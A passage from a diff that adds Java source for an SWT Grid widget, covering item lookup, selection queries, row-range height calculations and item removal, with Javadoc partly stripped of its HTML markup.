    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the thread that + * created the receiver
    • + *
    + */ + public GridItem getItem(Point point) + { + checkWidget(); + + if (point == null) + SWT.error(SWT.ERROR_NULL_ARGUMENT); + + if (point.x < 0 || point.x > getClientArea().width) return null; + + Point p = new Point(point.x, point.y); + + int y2=0; + + if (columnHeadersVisible) + { + if (p.y <= headerHeight) + { + return null; + } + y2 += headerHeight; + } + + GridItem itemToReturn = null; + + int row=getTopIndex(); + while(row= y2 && p.y < y2+currItemHeight+1) + { + itemToReturn = currItem; + break; + } + + y2 += currItemHeight +1; + } + row++; + } + + if (hasSpanning) + { + if (itemToReturn != null) + { + int itemIndex = this.getIndexOfItem(itemToReturn); + + GridColumn gridColumn = getColumn(itemToReturn, point); + int displayColIndex = displayOrderedColumns.indexOf(gridColumn); + + + // track back all previous columns and check their spanning + for (int i = 0; i < itemIndex; i++) + { + GridItem gridItem = this.getItem(i); + if (gridItem.isVisible() == false) + { + continue; + } + int span = gridItem.getRowSpan(displayColIndex); + + if (i + span >= itemIndex) + { + itemToReturn = gridItem; + break; + } + } + } + } + + return itemToReturn; + } + + /** + * Returns the number of items contained in the receiver. + * + * @return the number of items + * @throws org.eclipse.swt.SWTException + *
      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the thread that + * created the receiver
    • + *
    + */ + public int getItemCount() + { + checkWidget(); + return getItems().length; + } + + /** + * Returns the default height of the items + * in this Grid. See {@link #setItemHeight(int)} + * for details. + * + *

    IMPORTANT: The Grid's items need not all have the + * height returned by this method, because an + * item's height may have been changed by calling + * {@link GridItem#setHeight(int)}. + * + * @return default height of items + * @throws org.eclipse.swt.SWTException + *

      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the thread that + * created the receiver
    • + *
    + * @see #setItemHeight(int) + */ + public int getItemHeight() + { + checkWidget(); + return itemHeight; + } + + /** + * Sets the default height for this Grid's items. When + * this method is called, all existing items are resized + * to the specified height and items created afterwards will be + * initially sized to this height. + *

    + * As long as no default height was set by the client through this method, + * the preferred height of the first item in this Grid is + * used as a default for all items (and is returned by {@link #getItemHeight()}). + * + * @param height default height in pixels + * @throws IllegalArgumentException + *

      + *
    • ERROR_INVALID_ARGUMENT - if the height is < 1
    • + *
    + * @throws org.eclipse.swt.SWTException + *
      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the thread that + * created the receiver
    • + *
    + * + * @see GridItem#getHeight() + * @see GridItem#setHeight(int) + */ + public void setItemHeight(int height) + { + checkWidget(); + if (height < 1) + SWT.error(SWT.ERROR_INVALID_ARGUMENT); + itemHeight = height; + userModifiedItemHeight = true; + for(int cnt=0;cnt + *
  • ERROR_WIDGET_DISPOSED - if the receiver has been disposed
  • + *
  • ERROR_THREAD_INVALID_ACCESS - if not called from the thread that + * created the receiver
  • + * + * @see #setRowsResizeable(boolean) + */ + public boolean getRowsResizeable() { + checkWidget(); + return rowsResizeable; + } + /** + * Sets the rows resizeable state of this Grid. + * The default is 'false'. + *

    + * If a row in a Grid is resizeable, + * then the user can interactively change its height + * by dragging the border of the row header. + *

    + * Note that for rows to be resizable the row headers must be visible. + * + * @param rowsResizeable true if this Grid's rows should be resizable + * @throws org.eclipse.swt.SWTException + *

      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the thread that + * created the receiver
    • + *
    + * @see #setRowHeaderVisible(boolean) + */ + public void setRowsResizeable(boolean rowsResizeable) { + checkWidget(); + this.rowsResizeable=rowsResizeable; + } + + /** + * Returns a (possibly empty) array of {@code GridItem}s which are the + * items in the receiver. + *

    + * Note: This is not the actual structure used by the receiver to maintain + * its list of items, so modifying the array will not affect the receiver. + *

    + * + * @return the items in the receiver + * @throws org.eclipse.swt.SWTException + *
      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the thread that + * created the receiver
    • + *
    + */ + public GridItem[] getItems() + { + checkWidget(); + return (GridItem[])items.toArray(new GridItem[items.size()]); + } + + /** + * + * @param item + * @return t + */ + public int getIndexOfItem(GridItem item) + { + checkWidget(); + + return items.indexOf(item); + } + + /** + * Returns the line color. + * + * @return Returns the lineColor. + * @throws org.eclipse.swt.SWTException + *
      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the thread that + * created the receiver
    • + *
    + */ + public Color getLineColor() + { + checkWidget(); + return lineColor; + } + + /** + * Returns true if the lines are visible. + * + * @return Returns the linesVisible. + * @throws org.eclipse.swt.SWTException + *
      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the thread that + * created the receiver
    • + *
    + */ + public boolean getLinesVisible() + { + checkWidget(); + return linesVisible; + } + + /** + * Returns true if the tree lines are visible. + * + * @return Returns the treeLinesVisible. + * @throws org.eclipse.swt.SWTException + *
      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the thread that + * created the receiver
    • + *
    + */ + public boolean getTreeLinesVisible() { + checkWidget(); + return treeLinesVisible; + } + + /** + * Returns the next visible item in the table. + * + * @param item item + * @return next visible item or null + * @throws org.eclipse.swt.SWTException + *
      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the thread that + * created the receiver
    • + *
    + */ + public GridItem getNextVisibleItem(GridItem item) + { + checkWidget(); + + int index = items.indexOf(item); + if (items.size() == index + 1) + { + return null; + } + + GridItem nextItem = (GridItem)items.get(index + 1); + + while (!nextItem.isVisible()) + { + index++; + if (items.size() == index + 1) + { + return null; + } + + nextItem = (GridItem)items.get(index + 1); + } + + return nextItem; + } + + /** + * Returns the previous visible item in the table. Passing null for the item + * will return the last visible item in the table. + * + * @param item item or null + * @return previous visible item or if item==null last visible item + * @throws org.eclipse.swt.SWTException + *
      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the thread that + * created the receiver
    • + *
    + */ + public GridItem getPreviousVisibleItem(GridItem item) + { + checkWidget(); + + int index = 0; + if (item == null) + { + index = items.size(); + } + else + { + index = items.indexOf(item); + if (index == 0) + { + return null; + } + } + + GridItem prevItem = (GridItem)items.get(index - 1); + + while (!prevItem.isVisible()) + { + index--; + if (index == 0) + { + return null; + } + + prevItem = (GridItem)items.get(index - 1); + } + + return prevItem; + } + + /** + * Returns the previous visible column in the table. + * + * @param column column + * @return previous visible column or null + * @throws org.eclipse.swt.SWTException + *
      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the thread that + * created the receiver
    • + *
    + */ + public GridColumn getPreviousVisibleColumn(GridColumn column) + { + checkWidget(); + + int index = displayOrderedColumns.indexOf(column); + + if (index == 0) + return null; + + index --; + + GridColumn previous = (GridColumn)displayOrderedColumns.get(index); + + while (!previous.isVisible()) + { + if (index == 0) + return null; + + index --; + previous = (GridColumn)displayOrderedColumns.get(index); + } + + return previous; + } + + /** + * Returns the next visible column in the table. + * + * @param column column + * @return next visible column or null + * @throws org.eclipse.swt.SWTException + *
      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the thread that + * created the receiver
    • + *
    + */ + public GridColumn getNextVisibleColumn(GridColumn column) + { + checkWidget(); + + int index = displayOrderedColumns.indexOf(column); + + if (index == displayOrderedColumns.size() - 1) + return null; + + index ++; + + GridColumn next = (GridColumn)displayOrderedColumns.get(index); + + while (!next.isVisible()) + { + if (index == displayOrderedColumns.size() - 1) + return null; + + index ++; + next = (GridColumn)displayOrderedColumns.get(index); + } + + return next; + } + + /** + * Returns the number of root items contained in the receiver. + * + * @return the number of items + * @throws org.eclipse.swt.SWTException + *
      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the thread that + * created the receiver
    • + *
    + */ + public int getRootItemCount() + { + checkWidget(); + return rootItems.size(); + } + + /** + * Returns a (possibly empty) array of {@code GridItem}s which are + * the root items in the receiver. + *

    + * Note: This is not the actual structure used by the receiver to maintain + * its list of items, so modifying the array will not affect the receiver. + *

    + * + * @return the root items in the receiver + * @throws org.eclipse.swt.SWTException + *
      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the thread that + * created the receiver
    • + *
    + */ + public GridItem[] getRootItems() + { + checkWidget(); + + return (GridItem[])rootItems.toArray(new GridItem[rootItems.size()]); + } + + /** + * TODO: asl;fj + * @param index + * @return asdf + */ + public GridItem getRootItem(int index) + { + checkWidget(); + + if (index < 0 || index >= rootItems.size()) + { + SWT.error(SWT.ERROR_INVALID_RANGE); + } + + return (GridItem)rootItems.get(index); + } + + /** + * Gets the row header renderer. + * + * @return Returns the rowHeaderRenderer. + * @throws org.eclipse.swt.SWTException + *
      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the thread that + * created the receiver
    • + *
    + */ + public IRenderer getRowHeaderRenderer() + { + checkWidget(); + return rowHeaderRenderer; + } + + /** + * Returns a array of {@code GridItem}s that are currently selected in the + * receiver. The order of the items is unspecified. An empty array indicates + * that no items are selected. + *

    + * Note: This is not the actual structure used by the receiver to maintain + * its selection, so modifying the array will not affect the receiver. + *

    + * If cell selection is enabled, any items which contain at least one selected + * cell are returned. + * + * @return an array representing the selection + * @throws org.eclipse.swt.SWTException + *

      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the thread that + * created the receiver
    • + *
    + */ + public GridItem[] getSelection() + { + checkWidget(); + + if (!cellSelectionEnabled) + { + return (GridItem[])selectedItems.toArray(new GridItem[selectedItems.size()]); + } + else + { + Vector items = new Vector(); + int itemCount = getItemCount(); + + for (Iterator iter = selectedCells.iterator(); iter.hasNext();) + { + Point cell = (Point)iter.next(); + if (cell.y >= 0 && cell.y < itemCount) { + GridItem item = getItem(cell.y); + if (!items.contains(item)) + items.add(item); + } + } + return (GridItem[])items.toArray(new GridItem[]{}); + } + } + + /** + * Returns the number of selected items contained in the receiver. If cell selection + * is enabled, the number of items with at least one selected cell are returned. + * + * @return the number of selected items + * @throws org.eclipse.swt.SWTException + *
      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the thread that + * created the receiver
    • + *
    + */ + public int getSelectionCount() + { + checkWidget(); + + if (!cellSelectionEnabled) + { + return selectedItems.size(); + } + else + { + Vector items = new Vector(); + for (Iterator iter = selectedCells.iterator(); iter.hasNext();) + { + Point cell = (Point)iter.next(); + GridItem item = getItem(cell.y); + if (!items.contains(item)) + items.add(item); + } + return items.size(); + } + } + + /** + * Returns the number of selected cells contained in the receiver. + * + * @return the number of selected cells + * @throws org.eclipse.swt.SWTException + *
      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the thread that + * created the receiver
    • + *
    + */ + public int getCellSelectionCount() + { + checkWidget(); + return selectedCells.size(); + } + + /** + * Returns the zero-relative index of the item which is currently selected + * in the receiver, or -1 if no item is selected. If cell selection is enabled, + * returns the index of first item that contains at least one selected cell. + * + * @return the index of the selected item + * @throws org.eclipse.swt.SWTException + *
      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the thread that + * created the receiver
    • + *
    + */ + public int getSelectionIndex() + { + checkWidget(); + + if (!cellSelectionEnabled) + { + if (selectedItems.size() == 0) + { + return -1; + } + + return items.indexOf(selectedItems.get(0)); + } + else + { + if (selectedCells.size() == 0) + return -1; + + return ((Point)selectedCells.get(0)).y; + } + } + + /** + * Returns the zero-relative indices of the items which are currently + * selected in the receiver. The order of the indices is unspecified. The + * array is empty if no items are selected. + *

    + * Note: This is not the actual structure used by the receiver to maintain + * its selection, so modifying the array will not affect the receiver. + *

    + * If cell selection is enabled, returns the indices of any items which + * contain at least one selected cell. + * + * @return the array of indices of the selected items + * @throws org.eclipse.swt.SWTException + *

      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the thread that + * created the receiver
    • + *
    + */ + public int[] getSelectionIndices() + { + checkWidget(); + + if (!cellSelectionEnabled) + { + int[] indices = new int[selectedItems.size()]; + int i = 0; + for (Iterator itemIterator = selectedItems.iterator(); itemIterator.hasNext(); ) + { + GridItem item = (GridItem) itemIterator.next(); + indices[i] = items.indexOf(item); + i++; + } + return indices; + } + else + { + Vector selectedRows = new Vector(); + for (Iterator iter = selectedCells.iterator(); iter.hasNext();) + { + Point cell = (Point)iter.next(); + GridItem item = getItem(cell.y); + if (!selectedRows.contains(item)) + selectedRows.add(item); + } + int[] indices = new int[selectedRows.size()]; + int i = 0; + for (Iterator itemIterator = selectedRows.iterator(); itemIterator.hasNext(); ) + { + GridItem item = (GridItem) itemIterator.next(); + indices[i] = items.indexOf(item); + i++; + } + return indices; + } + } + + /** + * Returns the zero-relative index of the item which is currently at the top + * of the receiver. This index can change when items are scrolled or new + * items are added or removed. + * + * @return the index of the top item + * @throws org.eclipse.swt.SWTException + *
      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the thread that + * created the receiver
    • + *
    + */ + public int getTopIndex() + { + checkWidget(); + + if (topIndex != -1) + return topIndex; + + if (!vScroll.getVisible()) + { + topIndex = 0; + } + else + { + // figure out first visible row and last visible row + int firstVisibleIndex = vScroll.getSelection(); + + if (isTree) + { + Iterator itemsIter = items.iterator(); + int row = firstVisibleIndex + 1; + + while (row > 0 && itemsIter.hasNext()) + { + GridItem item = (GridItem)itemsIter.next(); + + if (item.isVisible()) + { + row--; + if (row == 0) + { + firstVisibleIndex = items.indexOf(item); + } + } + } + } + + topIndex = firstVisibleIndex; + + /* + * MOPR here lies more potential for increasing performance + * for the case (isTree || hasDifferingHeights) + * the topIndex could be derived from the previous value + * depending on a delta of the vScroll.getSelection() + * instead of being calculated completely anew + */ + } + + return topIndex; + } + /** + * Returns the zero-relative index of the item which is currently at the bottom + * of the receiver. This index can change when items are scrolled, expanded + * or collapsed or new items are added or removed. + *

    + * Note that the item with this index is often only partly visible; maybe only + * a single line of pixels is visible. Use {@link #isShown(GridItem)} to find + * out. + *

    + * In extreme cases, getBottomIndex() may return the same value as + * {@link #getTopIndex()}. + * + * @return the index of the bottom item + * @throws org.eclipse.swt.SWTException + *

      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the thread that + * created the receiver
    • + *
    + */ + int getBottomIndex() { + checkWidget(); + + if (bottomIndex != -1) + return bottomIndex; + + if (items.size() == 0) + { + bottomIndex = 0; + } + else if (getVisibleGridHeight()<1) + { + bottomIndex = getTopIndex(); + } + else + { + RowRange range = getRowRange(getTopIndex(),getVisibleGridHeight(),false,false); + + bottomIndex = range.endIndex; + bottomIndexShownCompletely = range.height <= getVisibleGridHeight(); + } + + return bottomIndex; + } + /** + * Returns a {@link RowRange} ranging from + * the grid item at startIndex to that at endIndex. + *

    + * This is primarily used to measure the height + * in pixel of such a range and to count the number + * of visible grid items within the range. + * + * @param startIndex index of the first item in the range or -1 to the first visible item in this grid + * @param endIndex index of the last item in the range or -1 to use the last visible item in this grid + * @return + */ + private RowRange getRowRange(int startIndex, int endIndex) { + + // parameter preparation + if (startIndex == -1) + { + // search frist visible item + do startIndex++; while (startIndex < items.size() && !((GridItem)items.get(startIndex)).isVisible()); + if (startIndex == items.size()) return null; + } + if (endIndex == -1) + { + // search last visible item + endIndex = items.size(); + do endIndex--; while (endIndex >= 0 && !((GridItem)items.get(endIndex)).isVisible()); + if (endIndex == -1) return null; + } + + // fail fast + if (startIndex<0 || endIndex<0 || startIndex>=items.size() || endIndex>=items.size() + || endIndex < startIndex + || ((GridItem)items.get(startIndex)).isVisible()==false + || ((GridItem)items.get(endIndex)).isVisible()==false) + SWT.error(SWT.ERROR_INVALID_ARGUMENT); + RowRange range = new RowRange(); + range.startIndex = startIndex; + range.endIndex = endIndex; + + if(isTree || hasDifferingHeights) + { + for (int idx=startIndex ; idx<=endIndex ; idx++ ) + { + GridItem currItem = (GridItem)items.get(idx); + + if(currItem.isVisible()) + { + if (range.rows>0) + range.height++; // height of horizontal row separator + range.height += currItem.getHeight(); + range.rows++; + } + } + } + else + { + range.rows = range.endIndex - range.startIndex + 1; + range.height = ( getItemHeight() + 1 ) * range.rows - 1; + } + + return range; + } + /** + * This method can be used to build a range of grid rows + * that is allowed to span a certain height in pixels. + *

    + * It returns a {@link RowRange} that contains information + * about the range, especially the index of the last + * element in the range (or if inverse == true, then the + * index of the first element). + *

    + * Note: Even if 'forceEndCompletelyInside' is set to + * true, the last item will not lie completely within + * the availableHeight, if (height of item at startIndex < availableHeight). + * + * @param startIndex index of the first (if inverse==false) or + * last (if inverse==true) item in the range + * @param availableHeight height in pixels + * @param forceEndCompletelyInside if true, the last item in the range will lie completely + * within the availableHeight, otherwise it may lie partly outside this range + * @param inverse if true, then the first item in the range will be searched, not the last + * @return range of grid rows + * @see RowRange + */ + private RowRange getRowRange(int startIndex, int availableHeight, + boolean forceEndCompletelyInside, boolean inverse) { + // parameter preparation + if (startIndex == -1) + { + if(!inverse) + { + // search frist visible item + do startIndex++; while (startIndex < items.size() && !((GridItem)items.get(startIndex)).isVisible()); + if (startIndex == items.size()) return null; + } + else + { + // search last visible item + startIndex = items.size(); + do startIndex--; while (startIndex >= 0 && !((GridItem)items.get(startIndex)).isVisible()); + if (startIndex == -1) return null; + } + } + + // fail fast + if (startIndex < 0 || startIndex >= items.size() + || ((GridItem)items.get(startIndex)).isVisible() == false) + SWT.error(SWT.ERROR_INVALID_ARGUMENT); + + RowRange range = new RowRange(); + + if (availableHeight <= 0) + { + // special case: empty range + range.startIndex = startIndex; + range.endIndex = startIndex; + range.rows = 0; + range.height = 0; + return range; + } + + if (isTree || hasDifferingHeights) + { + int otherIndex = startIndex; // tentative end index + int consumedItems = 0; + int consumedHeight = 0; + + // consume height for startEnd (note: no separator pixel added here) + consumedItems++; + consumedHeight += ((GridItem)items.get(otherIndex)).getHeight(); + + // note: we use "+2" in next line, because we only try to add another row if there + // is room for the separator line + at least one pixel row for the additional item + while (consumedHeight+2 <= availableHeight) + { + // STEP 1: + // try to find a visible item we can add + + int nextIndex = otherIndex; + GridItem nextItem; + + do + { + if (!inverse) + nextIndex++; + else + nextIndex--; + + if (nextIndex >= 0 && nextIndex < items.size()) + nextItem = (GridItem)items.get(nextIndex); + else + nextItem = null; + } + while (nextItem != null && !nextItem.isVisible()); + + + if (nextItem == null) + { + // no visible item found + break; + } + + if (forceEndCompletelyInside) + { + // must lie completely within the allowed height + if(!(consumedHeight + 1 + nextItem.getHeight() <= availableHeight)) + break; + } + + // we found one !! + + // STEP 2: + // Consume height for this item + + consumedItems++; + consumedHeight += 1; // height of separator line + consumedHeight += nextItem.getHeight(); + + // STEP 3: + // make this item it the current guess for the other end + otherIndex = nextIndex; + } + + range.startIndex = !inverse ? startIndex : otherIndex; + range.endIndex = !inverse ? otherIndex : startIndex; + range.rows = consumedItems; + range.height = consumedHeight; + } + else + { + int availableRows = ( availableHeight + 1 ) / ( getItemHeight() + 1 ); + + if ((( getItemHeight() + 1 ) * range.rows - 1) + 1 < availableHeight) + { + // not all available space used yet + // - so add another row if it need not be completely within availableHeight + if (!forceEndCompletelyInside) + availableRows++; + } + + int otherIndex = startIndex + ((availableRows - 1) * (!inverse ? 1 : -1)); + if (otherIndex<0) otherIndex = 0; + if (otherIndex>=items.size()) otherIndex = items.size() - 1 ; + + range.startIndex = !inverse ? startIndex : otherIndex; + range.endIndex = !inverse ? otherIndex : startIndex; + range.rows = range.endIndex - range.startIndex + 1; + range.height = ( getItemHeight() + 1 ) * range.rows - 1; + } + + return range; + } + /** + * Returns the height of the plain grid in pixels. + *

    + * This includes all rows for visible items (i.e. items that return true + * on {@link GridItem#isVisible()} ; not only those currently visible on + * screen) and the 1 pixel separator between rows. + *

    + * This does not include the height of the column headers. + * + * @return height of plain grid + */ + int getGridHeight() { + RowRange range = getRowRange(-1,-1); + return range != null ? range.height : 0; + /* + * MOPR currently this method is only used in #getTableSize() ; + * if it will be used for more important things in the future + * (e.g. the max value for vScroll.setValues() when doing pixel-by-pixel + * vertical scrolling) then this value should at least be cached or + * even updated incrementally when grid items are added/removed or + * expaned/collapsed (similar as #currentVisibleItems). + * (this is only necessary in the case (isTree || hasDifferingHeights)) + */ + } + + /** + * Returns the height of the on-screen area that is available + * for showing the grid's rows, i.e. the client area of the + * scrollable minus the height of the column headers (if shown). + * + * @return height of visible grid in pixels + */ + int getVisibleGridHeight() { + return getClientArea().height - (columnHeadersVisible ? headerHeight : 0) - (columnFootersVisible ? footerHeight : 0); + } + + /** + * Returns the height of the screen area that is available for showing the grid columns + * @return + */ + int getVisibleGridWidth() { + return getClientArea().width - ( rowHeaderVisible ? rowHeaderWidth : 0 ); + } + + /** + * Gets the top left renderer. + * + * @return Returns the topLeftRenderer. + * @throws org.eclipse.swt.SWTException + *

      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the thread that + * created the receiver
    • + *
    + */ + public IRenderer getTopLeftRenderer() + { + checkWidget(); + return topLeftRenderer; + } + + /** + * Gets the bottom left renderer. + * + * @return Returns the bottomLeftRenderer. + * @throws org.eclipse.swt.SWTException + *
      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the thread that + * created the receiver
    • + *
    + */ + public IRenderer getBottomLeftRenderer() + { + checkWidget(); + return bottomLeftRenderer; + } + + /** + * Searches the receiver's list starting at the first column (index 0) until + * a column is found that is equal to the argument, and returns the index of + * that column. If no column is found, returns -1. + * + * @param column the search column + * @return the index of the column + * @throws IllegalArgumentException + *
      + *
    • ERROR_NULL_ARGUMENT - if the column is null
    • + *
    + * @throws org.eclipse.swt.SWTException + *
      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the thread that + * created the receiver
    • + *
    + */ + public int indexOf(GridColumn column) + { + checkWidget(); + + if (column == null) + SWT.error(SWT.ERROR_NULL_ARGUMENT); + + if (column.getParent() != this) return -1; + + return columns.indexOf(column); + } + + /** + * Searches the receiver's list starting at the first item (index 0) until + * an item is found that is equal to the argument, and returns the index of + * that item. If no item is found, returns -1. + * + * @param item the search item + * @return the index of the item + * @throws IllegalArgumentException + *
      + *
    • ERROR_NULL_ARGUMENT - if the item is null
    • + *
    + * @throws org.eclipse.swt.SWTException + *
      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the thread that + * created the receiver
    • + *
    + */ + public int indexOf(GridItem item) + { + checkWidget(); + + if (item == null) + SWT.error(SWT.ERROR_NULL_ARGUMENT); + + if (item.getParent() != this) return -1; + + return items.indexOf(item); + } + + /** + * Returns {@code true} if the receiver's row header is visible, and + * {@code false} otherwise. + *

    + * + * @return the receiver's row header's visibility state + * @throws org.eclipse.swt.SWTException + *

      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the thread that + * created the receiver
    • + *
    + */ + public boolean isRowHeaderVisible() + { + checkWidget(); + return rowHeaderVisible; + } + + /** + * Returns {@code true} if the item is selected, and {@code false} + * otherwise. Indices out of range are ignored. If cell selection is + * enabled, returns true if the item at the given index contains at + * least one selected cell. + * + * @param index the index of the item + * @return the visibility state of the item at the index + * @throws org.eclipse.swt.SWTException + *
      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the thread that + * created the receiver
    • + *
    + */ + public boolean isSelected(int index) + { + checkWidget(); + + if (index < 0 || index >= items.size()) return false; + + if (!cellSelectionEnabled) + { + return isSelected((GridItem)items.get(index)); + } + else + { + for (Iterator iter = selectedCells.iterator(); iter.hasNext();) + { + Point cell = (Point)iter.next(); + if (cell.y == index) return true; + } + return false; + } + } + + /** + * Returns true if the given item is selected. If cell selection is enabled, + * returns true if the given item contains at least one selected cell. + * + * @param item item + * @return true if the item is selected. + * @throws IllegalArgumentException + *
      + *
    • ERROR_NULL_ARGUMENT - if the item is null
    • + *
    + * @throws org.eclipse.swt.SWTException + *
      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the thread that + * created the receiver
    • + *
    + */ + public boolean isSelected(GridItem item) + { + checkWidget(); + if (!cellSelectionEnabled) + { + return selectedItems.contains(item); + } + else + { + int index = indexOf(item); + if (index == -1) return false; + for (Iterator iter = selectedCells.iterator(); iter.hasNext();) + { + Point cell = (Point)iter.next(); + if (cell.y == index) return true; + } + return false; + } + } + + /** + * Returns true if the given cell is selected. + * + * @param cell cell + * @return true if the cell is selected. + * @throws IllegalArgumentException + *
      + *
    • ERROR_NULL_ARGUMENT - if the cell is null
    • + *
    + * @throws org.eclipse.swt.SWTException + *
      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the thread that + * created the receiver
    • + *
    + */ + public boolean isCellSelected(Point cell) + { + checkWidget(); + + if (cell == null) + SWT.error(SWT.ERROR_NULL_ARGUMENT); + + return selectedCells.contains(cell); + } + + + + /** + * Removes the item from the receiver at the given zero-relative index. + * + * @param index the index for the item + * @throws IllegalArgumentException + *
      + *
    • ERROR_INVALID_RANGE - if the index is not between 0 and the number + * of elements in the list minus 1 (inclusive)
    • + *
    + * @throws org.eclipse.swt.SWTException + *
      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the thread that + * created the receiver
    • + *
    + */ + public void remove(int index) + { + checkWidget(); + if (index < 0 || index > items.size() - 1) + { + SWT.error(SWT.ERROR_INVALID_RANGE); + } + GridItem item = (GridItem)items.get(index); + item.dispose(); + redraw(); + } + + /** + * Removes the items from the receiver which are between the given + * zero-relative start and end indices (inclusive). + * + * @param start the start of the range + * @param end the end of the range + * @throws IllegalArgumentException + *
      + *
    • ERROR_INVALID_RANGE - if either the start or end are not between 0 + * and the number of elements in the list minus 1 (inclusive)
    • + *
    + * @throws org.eclipse.swt.SWTException + *
      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the thread that + * created the receiver
    • + *
    + */ + public void remove(int start, int end) + { + checkWidget(); + + for (int i = end; i >= start; i--) + { + if (i < 0 || i > items.size() - 1) + { + SWT.error(SWT.ERROR_INVALID_RANGE); + } + GridItem item = (GridItem)items.get(i); + item.dispose(); + } + redraw(); + } + + /** + * Removes the items from the receiver's list at the given zero-relative + * indices. + * + * @param indices the array of indices of the items + * @throws IllegalArgumentException + *
      + *
    • ERROR_INVALID_RANGE - if the index is not between 0 and the number + * of elements in the list minus 1 (inclusive)
    • + *
    • ERROR_NULL_ARGUMENT - if the indices array is null
    • + *
    + * @throws org.eclipse.swt.SWTException + *
      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the thread that + * created the receiver
    • + *
    + */ + public void remove(int[] indices) + { + checkWidget(); + + if (indices == null) + { + SWT.error(SWT.ERROR_NULL_ARGUMENT); + } + + GridItem[] removeThese = new GridItem[indices.length]; + for (int i = 0; i < indices.length; i++) + { + int j = indices[i]; + if (j < items.size() && j >= 0) + { + removeThese[i] = (GridItem)items.get(j); + } + else + { + SWT.error(SWT.ERROR_INVALID_RANGE); + } + + } + for (int i = 0; i < removeThese.length; i++) + { + GridItem item = removeThese[i]; + item.dispose(); + } + redraw(); + } + + /** + * Removes all of the items from the receiver. + * + * @throws org.eclipse.swt.SWTException + *
      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the thread that + * created the receiver
    • + *
    + */ + public void removeAll() + { + checkWidget(); + + while (items.size() > 0) + { + ((GridItem)items.get(0)).dispose(); + } + deselectAll(); + redraw(); + } + + /** + * Removes the listener from the collection of listeners who will be + * notified when the receiver's selection changes. + * + * @param listener the listener which should no longer be notified + * @see SelectionListener + * @see #addSelectionListener(SelectionListener) + * @throws org.eclipse.swt.SWTException + *
      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the thread that + * created the receiver
    • + *
